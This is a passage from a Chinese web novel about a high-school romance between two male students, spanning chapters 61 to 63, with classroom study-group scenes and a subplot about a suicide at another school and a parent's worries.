关于这一桩事,他之前有过灵感,跟牛逼炒馆儿子搭条生意链,但期间出了些差池,现在进展十之一二…… 挺焦头烂额的。情绪积压,又在“高考”只百日出头的强力下滚雪球,尽管昨天他才经历一桩幸事,可生怕黄粱一梦,梦醒百事未解犹困樊笼。 岂止“坏胚”,简直“烂胚”,他的能力,相当破烂。 ……腰侧被点了下,易承回神,视线重新聚焦。 才记起许桑问的是问题。 他看着许桑偏黑的眼瞳,视线不由下移,勾丝一样落在他微张的唇间,倾身,极轻极轻地碰着。 许桑别眼,体贴地撩下他卫衣,在下摆处压了一下,以免灌风进去。 “不介意。”易承声音微哑。 许桑勾唇,笑骂:“那说个屁。” 骂完,就势要起身,却被易承拽住手腕——那阵仗,跟不管伤不要腰了似的。 他被猛地拽倒,感受着那双有力的手缠过他腰,往下扣……本能就要挺起,却一秒滞停:某人的伤,某人的伤。 后脑勺落在被子上,许桑无奈地说:“现在有劲,刚打架躲刀干嘛去了?” 尾音被吞没,易承向他俯身,重重地吻了下去,兴致大发一样在他下唇处厮磨。 两分钟后,许桑眼里雾蒙蒙的,偏过头连喘几声才缓过气,能吐词时,他道:“什么毛病?” 易承噗嗤一声笑了出来:方才的冲动,纯粹是,心下欢喜——貌似也不纯粹,多了一分不高兴,不高兴几分钟前许桑在接吻时分心,尽管只是轻若风的一次。 把药物归于原位,许桑回了次易承房间。 想起什么似的,他后腰倚着书桌桌沿,在易承灼热的目光下,给他发了几条消息。 【许桑:〔图片〕】×3 【许桑:如果有一天,你向这个世界投降了。】 【许桑:我头像就换成你的酒后丑照。】 虽然一点也不丑。 许桑心道。 图片上的人,坐在马路牙子上。一手提溜着空酒瓶,卡在膝盖间晃悠,眼眸半阖,眸光散乱…… 易承看了好一会,才想起这是什么时候的事。 他隐着一笑:能喝多少酒,他自己心里还是有点底的。 就那晚来看,哪能醉酒,迷醉一人罢了。 至于后半句,这算什么威胁! 易承从屏幕上移开眼,看向他,眉眼一弯,他轻声:“放心,绝不投降。” 60-70 第61章 第61章 【“我作证,他背了。”】…… “不是我说, 这真的好吗?” “真想把校长拎出来当面对峙,他妈哪家学校上着课呢还搞施工,简直既要又要还要!” “不应该昨晚就抱怨完了吗?你们居然还能吵得起来?真是, 嚼冷饭也嚼得喷香,以后适合去当内娱新闻人!” “这话就骂得有点脏了啊,明明先是学校行径太烂,值得批斗!” “就是就是, 不会又是学什么重点中学搞那一套吧?” …… 从校门口走到教学楼,许桑耳根就没清净过。可能昨晚跟某人聊晚了些, 以致今天出门也晚了些, 恰好赶上了人流最密集的时段。 捕捉到一些字眼,他轻皱眉,直到走进教学楼,抬头时从三楼坐在吊杆上的工人身上移开视线,才总算是明白过来:这一早上的舆论中心是什么。 教学楼共六楼,四楼五楼坐的是高三学生, 为的是“隔绝开高一高二的,高处清净适合学习”,至于空的几间,便留给了成绩好些的高二前排班级。 走廊一处,一般承接朝阳;另一端靠窗,则负责收集落日。 四五楼的走廊阳台,原本葺着一米二高的栏杆,向上全空, 用来休息眼睛开阔视野;不知怎的,此刻,却被一根根铁柱连顶贯通, 密匝匝地勉强只能探出去一只手。 像监牢一般,乍一看末世风。 进到理一班教室,里面的喧哗不下于外面。 许桑从书包里抽出空本子,先起身去前排接了杯热水。 回来时,吕丁愁眉苦脸地转了过来,黑眼圈浓出要死的疲累,他打完两个哈欠,看了眼他手里的热水,眼神难得空洞地问:“许哥,听老徐说你生病了?” 许桑抬眼,抿了口热水,面不改色地应道:“嗯。” “那你真的是熬夜学习,闻鸡起床再学习,一天二十四小时十八小时在学习,梦里都在背求根公式吗?”吕丁追着问。 “……”许桑淡淡一问,“老徐这么说的?” “没,”吕丁摆手,“那倒没。我刷网上段子刷到的,就想问问真正的学霸,是不是真的。” 许桑“嗯”了一声,“因人而异。” “这倒是,不过周末本来想好好学习的,结果睁眼就是下午两点半,吃完饭,抱着手机就又刷着去了。”吕丁捂着脸,懊悔不已,“人就是这么堕落的。” 许桑静静听他说完,点头认同,“嗯。” 察觉到这一点,吕丁像发现了意外的惊喜:“嗯?许哥也会?” “不会。”许桑笑回。 “……白高兴一场。”吕丁哭笑不得,朝易承的位置扫了一眼,见人没来,正想扫回去,就看到了后门外阴恻恻的铁条,顿时脸黑了,“对了,许哥,你来的时候看见新修的护栏了吗?” “看到了。”许桑想着点评了一句,“挺压抑。” “说到点子上了!”吕丁压低声音,“听说是学校连夜赶工,除了护栏加到顶,黑罩罩的一片。还有,窗子都被锁死了,我昨晚试了,用全力也只能开一条小缝。” 许桑轻轻敛眉,“连夜?” “对,连夜,现在在修矮楼层的,说是两天就能完工。”吕丁苦大仇深地开口,“至于原因,我听的消息是,上周五,十七中有个高三的跳楼了。没记清楚是从四楼还是五楼,但人是冲着下去的,劲头太猛,最后就……嗯,反正就那个了。” 十七中。 许桑顿了下:印象里,刘姨的女儿就在十七中。 “听得我更堕落了。”吕丁像是不想说这事,与其说是怕血腥,不如说是怕联想到自己身上各种不痛快而生出想痛快的心态。 他双手托腮练肺活量一样直叹气,“上次听你的话,我去找老徐要了份复习计划,勤勤恳恳跟着做了一两周。结果,结果上次周考排名反而下降了三位!就很郁闷。” 他还想继续说些什么,脑袋就被九十度掰向黑板! 而后,陈慢活脱的声音广场舞音乐一样激情地响了起来: “早读了早读了!聊天的别聊了,说话的别说了,学习的也先别学了,背高考必背六十四篇!” “……”吕丁轰走他,转头补了一句,“更郁闷的是,陈慢这个傻逼,居然还比我高了一个名次!” 这么说来,陈慢名次也下降了。 许桑简单推了一下,幅度很低地歪头皱眉:反向努力? 易承进来时,就见许桑朝他的方向歪了下脑袋,眉头一皱,带着种淡淡的苦笑。 灰扑扑的冬日早晨,似在这一眼里,清晰起来。 他看了好一会儿,才上前,手心不由揉了下他偏软的发,问道:“在思考什么?” 许桑仰头,拨开他的手,一本正经地回答:“在思考,学习有那么难?” “……” 易承冷不丁地笑了,拉开椅子坐下,摊开卷子,握笔,偏头说了句,“我现在就努力。” 许桑:“……”他也没这层意思。 “两位,现在是早读时间。”陈慢把读记手册卷成圆柱形,握在手里到处巡视,“尤其是易哥,高考128篇背了吗?核心64篇背了吗?” “不巧,早背了。”易承转笔回了他一句,又低头继续看题。 陈慢死亡凝视般地看着他,那眼神就差写几大个字在脑门上了——“你看我信吗?” 许桑举了下手,笑得温和,“我作证,他背了。” 陈慢目光大平移:“嗯??” “嗯。”许桑点头。 余光见易承嘴角上扬,那弧度,十头牛来了也压不下去。 少年的“三分钟热度”来了,那热度可达熔骨的滚烫,某种程度上,也是股猛势头,不容小觑。 昨天夜里,许桑刚走,易承就热情燃烧地爬了起来。电话约了人后,披上件外套就出门。 李承宇——牛逼炒馆儿子,是个标准的年轻人:不到凌晨两点死活睡不着;也是个不太标准的酒友,他的微信个签是:“睡不着觉百分之九十九点九九是酒没喝爽!” “你快来,你快来,我正愁喝酒没下酒菜……嗯,不对,是没朋友说话呢!”他在电话里,声音糊得堪比旧相机画质。 易承走到地下室,卡上头盔,骑着久久未用的小电驴出去。 去的路上他就在想:软磨硬泡来一套,就看谁经得起耗! 跟前几次不同,这次李承宇选的地儿比较杂,背景音乐很吵——一看就不适合谈事,估计是之前被易承缠多了,吸取经验改了地点。 “快坐!”李承宇把一杯玫红色的酒递给他,提醒式地来了一句,“别说话,喝酒!” “……”易承还真就不说话了,连受伤了不喝酒的解释都没有,把酒杯放旁边,直直地盯着他看。 “哈哈哈!”李承宇爽朗地笑了一阵,“这眼神,你要说什么说!” “我们谈笔生意?”易承听话地开口。 然后,场面就冷掉牙了。 易承丝毫不觉怎么着了,起身去接了杯热水,绕开话题同他聊些别的。 李承宇喝酒了,话就多了——尤其是当服务生新端上一杯酒,介绍:“这杯是最新调制出来的,取名为‘心碎马提尼’,是专门为单身狗推制出的……” 他的话瞬间就密出了一种新高度,还掺了点脏。 易承面上笑着,心下却有些无聊,他摸出手机,看时间推了下许桑的作息,这才没什么心理负担地发消息。 【易承:无聊了做什么?】 果不其然,许桑没睡,消息回得很快。 【许桑:给你发点题?】 易承抬头看了眼李承宇,完全卡着时间地跟他击了一掌后,低头打字。 【易承:静不下心。】 【易承:有更傻逼一点的吗?】 “兄弟,你能把妙脆角推给我一下吗?”李承宇伸手指了指,“我嘴有点闲。” “嘴闲?”易承递过那盘妙脆角,笑说:“那我们聊聊?” “……”李承宇无奈地摇摇头,那表情也算不上厌恶,更像是要松口前的硬气,“你真是锲而不舍,见缝插针无孔不入!” 易承勾了抹笑,用白水杯同他碰了一下。 而后,许桑的消息跳了进来。 【许桑:背。】 紧随其后的是文件包,文件名是“高考语文必背篇目”。 看了一眼,易承笑了声,还真就将手机立靠在空酒瓶上。跟李承宇聊星星聊宇宙时,偶尔划着看两眼,进度过了20%的节点就“汇报”一声。 他记东西还算快,而本身诗词文言文这种东西也有韵有调,平时考试偶尔还见过,扫一遍就行。 【易承:背完了。】 【易承:不过,背不背的,似乎必要性不强。】 发完这条,李承宇的铁嘴终于被酒化成了正常皮肉组合,“行吧,我们谈谈生意。” ……最后,李承宇摸着自己的良心说了“心动”,还约定好时间详谈后,易承笑着支起一杯酒,先看了眼下腹,后才摇晃着喝了一小口,“谢谢。” 不过说真的,这次成功也纯靠“磨人”。 他答应过许桑,不能投降。所以,从零点半一直陪人到近四点半,等人开了金口,才慢悠悠地继续聊…… 易承从回忆里翻了个身,回味了遍“我作证,他背了”,不免又是一笑。 陈慢孤疑地看着易承,埋头看题笑得花枝招展的,皱眉,“易哥,什么东西这么好笑?” 易承轻飘飘地抬头,玩笑回答:“你。” “……真的是。”陈慢的读记手册登时崩开,边角弯曲地晃着,“行吧,行吧,真不知道易哥你给许哥下了什么迷魂药,许哥居然帮着你说话!” 说完,他夹着螃蟹步转身就走,那叫一个潇洒不羁。 “什么话。”易承笑说。 不过也不能完全怪陈慢,他的反应其实很正常。 他是真没好好上过语文课,就他在班级有限的出镜次数里,有半数时间都在语文课上挨批——虽然百分之九十的原因是白晓莉易燃易爆炸。 而高中生对语文能有什么印象,除了要人命的考试,就是要人命的背背背! 这套逻辑顺下来,易承短暂理解了陈慢的疑惑- “同学们不要乱听一些网上的消息哈,要有一双明亮的眼睛辨别是非。”徐富来时也在密匝匝的铁条里出神过,担心同学也疑惑,所以先一步断绝,“铸铁网呢,纯粹是为你们的安全着想。想想嘛,万一有人跑步冲快了冲下楼摔着了就不好了,铁网能高效杜绝这一点,明白吧?” 满座的人愣愣地看着他,像看傻子。 徐富:“……”学生真是一届比一届难带,越来越精。 怎么不去成仙呢?坐这当学生都屈才了! 多说多错,所以他选择不说,把正事抬上台面,“我们言归正传。之前分过学习小组对不对,现在,以组长为中心,自由调换座位,我们展开一次学习讨论。” “现在开始调,组长与组长之间距离拉开,不要出现人挤人现象,不要碰瓷,不要挑位置,我会雨露均沾、都看到的!” 他说完,桌子椅子就吱吱呀呀各种响,比地震震出来的动静还要大。 “我们不动,组长动。”吕丁拉着赵鸿途转身,和许桑易承面对面坐好。 “我真是个苦命的组长。”陈慢带着板凳,坐到了两排中间的走廊处,问了许桑后,才把胳膊肘放在桌上,托腮去望徐富,转回来笑,“我靠,突然有点刺激是怎么回事!” 调换座位进行了五分钟,徐富老人家等得瞌睡都要来了,下面才总算安静了那么一丁点,他把教案本摊开,照着念: “响应总书记教育方针,南城附中针对高三学生特推出……balababalalaba……分组进行自由讨论,说说遇到的困难,各自交流分享一下学习方法,共同进步。” “说半天,就是抽学霸的老底。”陈慢总结。 许桑严谨:“也不尽然。” “那就开始讨论吧。”徐富背着手,走下讲台,“说你们的,我偶尔听两嘴,说不定能给点建议。” 都围成圆圈一团坐了,不说点闲话也太不“茶话会”了。 所以,排头那一组半分钟不到就被逮了个正着,被拎到讲台上,面朝课桌课椅排排站。 剩下的人这才老实地说学习。 “我来起个头吧。”陈慢开口,“自从上次开始努力学习,我的成绩就没提升过,越学越差。而且,焦虑也多了一点,不是一点,是很多。” “加一。”吕丁皱眉,“而且越来越抵不住手机的诱惑了,可我明明是更想学习了。之前没想学的时候,还没那么大瘾,结果越想学,越想玩。我是不是脑子有毛病了?” 许桑:“……” 他顿了一下,接话:“这得问医生。” 旁边的易承又笑一声,很隐忍,但还是被吕丁捕捉到了。 “易哥,你别笑。”吕丁拍了他一下,没拍到,更沮丧了,“我是真的很想好好学,尤其是看到许哥这么牛逼这么耀眼这么璀璨,好想拥有!” 听到他最后半截,易承坐不住了,“想屁。” 吕丁:“……”他接道,“好想拥有这样的实力。” 易承偏头干咳一声,“想。” 许桑眸中缀笑,借着课桌的阻挡,握住了易承的手,还用拇指刮了一下。 吕丁看着易承,眼睛一眯,有种说不上来的感觉……不过谁让他沉浸在烦恼中呢,“其他的问题,就是书看不懂,题做不来,课不想听。” 陈慢附和:“加一。” 赵鸿途听得很认真,以至于该他说话的时候,眉头皱得像和眼皮黏在一起了,“我的问题是,越想考满分,小错误越多,反而有时候状态不好,做得更好。另外就是,有点考试焦虑,一听到考试铃声,心就咯噔一下心跳加速,好久才能缓过来。” 说完,三人齐刷刷地看向易承。 易承微顿,“我的问题?” 见许桑也跟着转了视线过来,他轻轻一笑,“只是时间问题。” 三人互看几眼:不是一点的装啊! 许桑唇角勾了一下,引回正题:“想过干扰因素吗?” “多得要死。” “……”许桑沉默两秒,“除手机外,学校里的呢?” 加了限定条件,吕丁想着,忽然红了脸,在一众疑惑的目光下,他娇滴滴地说,“李纳。” 李纳,之前那个女生。 说着,陈慢没笑,也红着脸跟了一个,“黎晓晓。” 黎晓晓,之前同他玩“包装木乃伊”的女生。 …… 徐富背着手巡逻,在李云平组听到几个关于“错题本”“错题集”“新题库”之类的字眼,欣慰地点点头,上前分享了一波。 “我高中的时候,就喜欢整理题,对着高考卷子研究……” 四个人一脸折服看着他,眼里冒星星。 徐富被盯得心里发毛,说话的欲望越来越少,索性草草结尾,走向下一组。 果然,学生和老师之间,还得投缘才能聊得久。 想着,他嬉皮笑脸地往许桑那一组走去。 他悄无声息地站在陈慢和吕丁之间,细心到把呼吸都闭紧了,竖起耳朵听。 下一秒,就听他心里顶好顶棒的“门内弟子”许桑一本正经地淡声:“先表白。” 先表白? 徐富一口气憋断了:“嗯???” 第62章 第62章 【“他交给我。”】…… 显然, 吕丁和陈慢也惊了一跳,转头对视一眼,没对上, 却先看到了卡他俩中间嘴角直抽抽的徐富,又是一惊:“我靠!” “……”徐富一人拍了一掌,“别说脏话。” 陈慢双手拖凳往旁边一拗,“哦。” 沉默蔓延了几秒, 许桑也不觉怎么,瞥了眼徐富后, 风轻云淡地问道:“有什么不对?” “呃, ”徐富默默把手肘放在了桌上,慈眉善目地问道:“你们在说什么问题?” 见许桑要开口,吕丁连忙举手,生怕他直言不讳给人兜头一棒,倍速叙述:“没什么,没什么, 您听错了,我们在聊如何克服学习中的干扰因素。” 许桑微不可察地偏了下头:这是什么必须避讳的问题吗? “我还没到痴呆的年纪呢。”徐富想也没想一掌又拍到吕丁头上,“平时都说了,多做数学题能减少老年痴呆得病率,你看你,才十几岁脑子就不中用了。” 吕丁噎住:“……” “不过还得也是奔二的人了,说说吧,你喜欢上谁了啊?”徐富看了眼吕丁, 想到什么又转向陈慢,“怎么我感觉你也有点春心萌动?” 陈慢愧不能当地埋下头:“……” “这反应是不是过于明显了。”徐富嘿嘿笑起来,半路劫了许桑的话头就开始狂奔, “我刚刚听了一耳朵,其实许桑同学说的很有道理。” 闻声,许桑挑了下眉:他随口一说有毛线的道理。 “我记得我高二的时候,也是喜欢上一个女生,那女生,是走廊对面文科班的数学课代表。”徐富说着也娇羞地扭了一下。 几人毫不遮掩地倾身,支起耳朵细听。 徐富:“我每天就巴巴地望着她,一上午五节课,要上十次厕所。强调一下,是来回,不是单程数,别误会我肾不好。” 五人沉默:“……”您不说大概没人想到那去。 徐富把声音放小了些,貌似也是他当班主任习惯大声说话以来第一次主动有意识地调低音量,“果不其然,成绩就开始直线滑坡,但你们懂吧,越是这样,我就越是喜欢她,跟他妈……呃,跟受虐狂一样。” “看你们俩长得这又蠢又憨,八成是暗恋,就跟我一样,当初我女神骂我紫土豆,因为我一见她脸就红得发紫。” 吕丁没憋住,一口气就笑出来了:“噗哈哈哈……” “别打岔。”徐富忙里偷闲地给了他一胳膊肘,“一直到高三,我才幡然醒悟:暗恋就是学习的杀手。高中生,要么不恋,要么在恋。不动心就不存在什么问题,没人会影响你拔刀,天天熬穿,不要命地学,就算长一身痘都没心理负担;要么心动得不能再动了,都在一起了问题就不大了,这种阶段不拿成绩出来秀哪来的个人魅力,所以问题也不大。前提是两个人都是正常人,不是不吵架就浑身难受的那种。” “五虎上将组”眯着眼睛把徐富包围在了视野里,像盯上猎物的狼,眼冒绿光。 “暗恋就不行,你们俩一定得摆脱这种状态,不然,苦啊。想当年,我成绩连滑一百名,被我爸踹了十几脚屁股,得亏肉多……但是,当我抱着赴死的决心去表白,然后被拒,我哭了一周,最后居然化悲愤为动力,两周时间,直接冲进年级前十!” 五年班长身,陈慢早已被驯化成马屁精,上前就是和:“年级前十!” 徐富嘿然一笑,“后来,她还不是跟我扯证了……” 听他滔滔不绝时,许桑感觉手心忽然一痒,才稍稍偏头,就见他和易承座位中间,毛登登地伸进来个脑袋,呼吸放得很慢。 看年级主任胸腔鼓气的频次,估计没两分钟就要憋死了。 易承又挠了下许桑的手心,而后攥得更紧了。 “……”许桑暗骂一声:什么叫眼皮子底下造反,这就是了。 徐富还沉浸在他光辉的情史之中,把两某生说得热情昂扬、激情四溢,好似下一秒就能冲上云霄。 于是他更激动地来了个神笔马良似的总结:“所以,先表白,是死是活先看看。死了最好,女生只会影响你们进步的速度;要是活了,不好意思,老徐我为了五十块钱,要抓早恋!” 吕丁呵呵一声:“……” 糟了,这篓子不就捅穿了! 陈慢嘴角一抽:“……” 完了,连老徐都不看好他俩,注定没戏了! 见没什么掌声连天的反馈,徐富柔光满面地把五个学生一一扫过,圣母般的光泽从易承脑袋上移开,徐富笑容一僵,顷刻脸色大变、一屁股坐在了空地上,敦实的一声。 照应他的前言:听得出来屁股肉多。 年级主任震了一下,上前去把人扶起来,和蔼得像是回光返照之人,“没事吧,老徐?” 徐富一个白眼差点把自己翻过去,他僵僵地立起来,“有点事,我就先走了,您慢慢巡学生。” “回来!”年级主任一把拽住他胳膊,“真以为我们巡的是学生?先考核的是老师!任务尾巴才是学生……出来听我教育教育。” 被拽出后门时,徐富颜面不存地小声叮嘱一句,“肺腑之言,听之信之为之,必有用之……啊!” 后门砰地一声关上,整个教室的人都回头看了一眼,以为是怕冷才关得门,又扫视一圈,没见到老师“逮到了”的眼神,便又转回去“口舌生花”。 “嗯,其实我觉得老徐说得没毛病。”吕丁郑重其事地开口,“明天的体育课我就去操场练习表白,下课就飞奔而去,是死是活,表了我的青春就不留遗憾!” “加一。”陈慢眼里露出赴死的坚毅。 趁那两人兄弟情深,易承晃了晃牵着的手,而后朝许桑勾了下手指。 “嗯?”许桑微微倾身。 易承压着声音,声音里带着没睡好的微哑,但入耳却是揉碎了的动听:“我再给你表一个?” “……”许桑坐回去,轻声:“闭嘴。” 易承笑得弯了腰。 “说真的,我感觉我们小组的进步空间很大。”赵鸿途在状况外良久,见两边都静下来了,开始支招,“我是真心希望我们小组总排第一!不是为了那二十块钱,单纯为了证明自己证明我们!” 他这话在空中飘了很久,才落到每个人的耳朵里——可能这话思想道德水平实在过高。 “嗯……”吕丁陈慢颇有默契地同时开口:“要不还是为了二十块钱吧。” “也行,反正梦想不同目的一样嘛。”赵鸿途思想开放了两秒。 “那就是除了许哥以外,每个人都得提升,做一丢丢贡献。”陈慢激动地拍了拍胸脯,“真的吗?真的吗?不敢相信我又要准备好好学习了吗?” “真的,真的,”吕丁拍了他一掌,想到陈慢已经高他一个名次,更是气不打一处来,“学习吧你就,下回我绝对高你两名!” “高我两名,你慢慢爬吧,看我飞到你头上拉坨大的!”陈慢不知道哪来的信心。 “……”赵鸿途举了个手,“我最近瓶颈期,可以带带你俩,反正你俩水平差不多。” “好啊。” 陈慢应下后,感觉漏了点什么似的,看向易承,“易哥,你呢?实话说,你卡中间,其实也是在变相拖后腿。” 易承扶额:“……” 许桑见他吃瘪,笑了声,想起赵鸿途的话,顺着说道:“他交给我。” “哦?”吕丁眯了眯眼,余光见易承笑成一朵花了,又眯了眯,酸唧唧地开口:“凭什么易哥待遇这么好?”说完,他飞快转向赵鸿途,“鸿途,不是说你不好,我们是说易哥不配。”又转回来。 “啧。”易承扫了他一眼,没好气地偏头,看许桑:“同桌的待遇。” 吕丁:“……够了,我羡慕嫉妒恨了。从现在起,跟学神关系好的,即使是易哥,都跟我有仇!” 笑声响了一串连一片。 徐富经受思想批斗完,精疲力尽地推开后门回来了,一看挂钟还有十分钟下课,脸都垮了,以百米赛跑的速度奔上讲台,“好了,讨论暂时结束,各回各位,我们做个总结。” 搅散五分钟,聚回至少十分钟。 所以徐富又添了一句,“三分钟之内坐不回原位,奖励数学作业乘以三。” 两分钟没到,教室里井然有序地坐满了一“窝”学生。 “很好。”徐富手心撑在讲台上,“我刚刚转了转,简单听了两组同学的讨论——” 话说到这,下面无风起浪,突然就炸了。 “老徐啊老徐,不是说好了要雨露均沾的吗?请问沾到了哪了?是雨露蒸发干了吗?” “我背挺直了半节课,就怕老徐从后面支个脑袋出来听,结果他就听了两组,两组?!” “转了转?我好几次瞟老徐,他难道不是卡死在了陈慢那组吗?像脚底板沾了胶一样!” ……徐富捕捉到关键字眼,尴尬地笑了笑,“下次下次。这个讨论呢,两周一次,会一直进行到高考前的,我下次尽量雨露均沾。”- 晚自习最后一节课调成了物理课,曹武在手批之前囤积的卷子。 才批没两张,就唉声叹气——以某丁同学的观点看来:物理老师居心不良直吐霉气,熏得一教室的不得劲。 “我发现一个奇迹。”曹武抱着胳膊,从卷子堆里抬起脑袋,笑出命很苦的样子,“物理学上,不存在永动机。但高考要求下的高三生,还真得活成永动机。” “但从你们的成绩来看,你们是符合科学的,但是不是有点太科学了?我看不到你们身上哪怕一点永动机的影子。” 吕丁转过头来说小话:“第一次被人用科学来形容,真是荣幸之至啊。” 易承抬了下眼:“损你呢,傻丁。” “真的吗?”吕丁瞳孔一震,“我看他笑得挺开心啊。” 许桑转了圈笔,加重:“真的。” “那我信了。”吕丁转回去,就对上曹武怨气深重的脸,顿时一哆嗦,“我靠,我更信了。” “物理是很难学的东西吗?”曹武双手抱胸在讲台上来回走,“多选题选一个保底我赞同,策略可以,但你选一个错误答案是搞什么呢?真以为自己才比天高学谁控分呢!控得明白吗你们!” ……噼里啪啦说了一大堆,曹武终于把心中不快说完了,又坐下来批卷子,批了没两分钟,就又眼睛不是眼睛,手不是手,开骂:“第一题就错,是我的问题吗?我寻思着没背错答案还当场看了遍题……” 这场口头硝烟一直燃烧到放学铃打响,曹武把卷子给到第一排的学生,让他们自己传,而后顶着气红了的脸走出教室。 刚出前门,目光就落在铁网上,大脑皮层忽地闪过修建原因,又连忙弹进教室,九十度大鞠躬: “同学们,我课上的话全是气话,也是屁话,你们不要放在心上。你们是最棒的,努力的样子比得上盛放的花朵。不管结果如何,此时的你们就是最绚烂的!” 说完,他如释重负地回了办公室。 收东西收到一半的同学皱着眉抬头:“…………嗯??” 学校如果是个家,那得多不幸啊——留不住一个人。 “出轨率”可想而知。 教室里逐渐走空,许桑揉了下指节,继续算题。 而后,手被轻轻拍了一下,随之,易承闷闷的声音传出来,“走的时候叫我。” “嗯。”许桑看了他一眼,见他趴在手臂间,起身轻轻关严后门,又将后排灯关了,留前面一盏。 借着微弱些的光线,他继续做题。 错题整理完,他看了眼易承,他同桌正睡得香;新题尝完鲜,他又看了眼,他同桌正睡得死;一天复盘做完,他又看了眼,他同桌睡得头发凌乱…… 虽然主观上,许桑想一巴掌给他拍醒,但客观上,他下不去手,便调出手机里庞大的题库,静静地刷着。 迷糊中从睡意里挣脱,易承歪头看着许桑,声音还没完全清醒:“怎么不叫我?” 许桑摁灭手机,“走?” “走。”易承揉了下眼睛后,起身。 路过保安室时,门忽然一开。 以为又是搞怪的孩子,徐贵从里面走出来,眯眼:“学到这么晚?我看看是多厉害的学生呢?” 眼睛睁开,就看见挂在表彰墙上的脸重叠在了眼前人身上,徐贵“嘿哟”一声,“原来是许同学。” 易承正勾着许桑的手,闻声抬眸,看徐贵的眼神中带着问询:“你认识他?” 第63章 第63章 【“名嘴有主了。”】…… “如果我认识他他不认识我也等于认识的话, ”徐贵作深思状,深思完开口:“那我确实认识他。” 串词烧么搞这一连。 易承轻顿:“……” 徐贵咧着嘴补充:“况且,许同学照片不就贴那表彰墙上, 都贴两周了。我没事就转悠着看,人又长得好,想不记住都难。” 听完,许桑跟易承小声说了句:“见过几次。” 不曾想, 徐贵那耳朵,望风不行听墙角贼灵, 接话:“嘿, 对吧?开学的时候还是我领他进的门!” 说完,他在心底拍拍胸脯:想被好学生记住,尤其是当他作为一个名不见经传的保安要被记住,简直是难于上青天。 不过现在看来,也就“一步登天”的事。想着,他把脑袋抬得更高了, “易小子,你徐叔我也是有点人格魅力的。” 易承挑了下眉梢,“您也是说得出口。” “……”徐贵笑到一半停住,“你这嘴真是,破坏气氛专讲糟心话,迟早找人给你撬了!” “那不行。”易承忽而一笑,“名嘴有主了。” 闻声,许桑眼睫轻颤, 向校外方向看去。 “说些什么话。”徐贵自小习武身,长大也武人心,想不了深的, 哈欠一打便开始赶人:“行了,也不早了,你俩早点回去。许同学,下次别学那么晚,注意休息。” 许桑回道:“谢谢。” 易承则随了性子:“您话真多。” “你个小兔崽子,怎么跟你徐叔说话来着!”徐贵双手叉腰,瞧那阵仗愣是要跟他说出个“你没理我就是理”来,眼睛一瞥又一瞄,落在他俩牵实了的手上,神经大条地指摘:“年轻人,最近降温不知道加衣服,现在只能可怜巴巴地摩擦生热了吧?” “……”易承捏了一下许桑的手,拆台似的问了一句,“冷吗?” 许桑如实回答:“不冷。” “……那你们牵个手干嘛?”徐贵嘴比脑子快,说完就卡住了,只好一挥衣袖保持风采,“算了,现在没冷说不定等会就冷了。你们回去注意安全,天黑,别不长眼,前面圈了块地在施工,挖电缆还是怎么的,不清楚,估计元旦过后才能弄好。要是一不小心莽进去了,保安的安保范围可没那么宽。” 易承朝他摆手:“知道了,徐叔睡个好觉。” 从学校出来,转个弯就看见围栏隔离起来的施工区域,泛着红光的警示牌在夜里看着挺瘆人,上面标注着:“危险,闲人勿进。” 易承看了眼警示牌,没忍住一叹:“又在施工。” 许桑:“又?” “嗯,夏初就施工过一次。”易承解释道,过了些许时候又点评一句,“同一块地方拆了建,建了补。工期又长又臭,实话说,南城想发展起来,挺难。” 许桑想了想:“有为总比不为好。” “有理。”易承点点头。 不知是不是想到别的了,许桑走出几步后,多说了句,“会好的。” 也不知易承有没有听见。 等到了许桑楼下,易承勾着他的手,不想松开,只借着楼道里的灯细细打量人。 许桑被他恰似神伤的眼神逗笑了,索性又逗一句,“要上楼吗?” “好啊。”易承握得更紧了。 许桑收笑:“……”真是饿极了什么钩都咬。 今天有些怪,这个点了,刘姨居然还在家里。 钥匙转了一圈,门刚拧开,许桑看到坐在餐桌上面容憔悴不少的人,轻顿,回头看了眼易承。 易承疑惑:“嗯?” 这眼神,不清不白,跟被抓到早恋了一样。 从他肩上投出目光,看明白人,易承才反应过来,极小声地附耳:“那我先走?” “不用。”说着,许桑拉人进了屋。 “回来了。”刘芳走了很久的神,清醒时,先看了眼易承,才顿顿地看向许桑,“还带了个同学,要我铺下床吗?” “不用。”易承回道:“我等会就走。” “哦,哦。”刘芳走到沙发边上,接水时没注意,手被烫着,却是毫无所察、面无表情地把水杯放到茶几上。 许桑自认为皮肉经不起一百度的水,就没喝水,看着她反常的状态,问了句,“刘姨,怎么了?” “啊?”刘芳惊愕地抬头,又垂下,“我……我没事。” 许桑轻敛眉,想起白日里那个无端的联想,并不寄期望地开口:“是您女儿?如果是要请假的话,我都可以。” “谢谢谢谢。”刘芳笑得很颤巍,鼓了鼓勇气,才说道:“我女儿这两天,不吃饭,也不出门,大闹着说不学习了。你们知道的,十七中是私立中学,本来风气就坏,但当初纯儿的成绩实在没办法,只能走高价进去。” 许桑耐下心来倾听。 一旁的易承也对她笑了笑,笑得温和……刘芳这才继续:“学校不允许宣扬,我就悄悄说啊,你们别出去说。十七中不是有个女孩跳楼了吗?那女孩我真是不想说,跳楼你就跳嘛,跳之前,跟个神经病一样,她还给班上同学写信,说什么蠢蛋才学习,上辈子造孽的才学习。我女儿收到的那张,好大一张纸,上面密密麻麻的,我看到都惊呆了,那女孩居然说:要是再学下去,就跟她的下场一样,即使不是跳楼也是被车撞死。” 刘芳边说嘴皮便打颤:“这都是什么事啊。别说是纯儿,就是我看了,也不想去学校。哎哟。我今天守着等,就是想问问你,有什么方法吗?你学习厉害,脑子应该也灵。” 纯儿,应该是她女儿的爱称? 许桑听完,眉蹙得更深了,保险起见还是建议道:“带她看看心理医生吧?” “不不不,纯儿没病,不去看那什么医生,看了也没用,倒贴钱。”刘芳摆手摆得很用力,“而且,她只是不想学习,没病的。你有没有什么比较轻松的学习方法,我看他们网上有那种玩着学的,有的话,说不定纯儿会喜欢然后就好了。” 许桑面色转沉,“没有。” “啊?没有吗?”刘芳眼里空洞着,好半天才缓过神来,“那我再去问问老师吧。你早点休息,我先回去了。” “慢走。”许桑起身送了她两秒。 一直等门合上,许桑才坐下,面色不太好。 易承全程看着他,把他眼里的担心看得分明,也看清了听到刘芳一秒回绝后他眼底闪过的情绪,伸手摸了下他唇角,说:“不高兴了?” “没有。”许桑拂开他的手,“只是不理解。” 不理解为何家长会觉得,成绩好了,再多情绪问题都会跟着消散了。 可这明明是两码事——就像进学校不等于学习。 “嗯。”易承起身,端起那杯没被碰过的热水,以身试温后,转过来,“先喝口水?” 许桑看他一眼,接过:“好。” 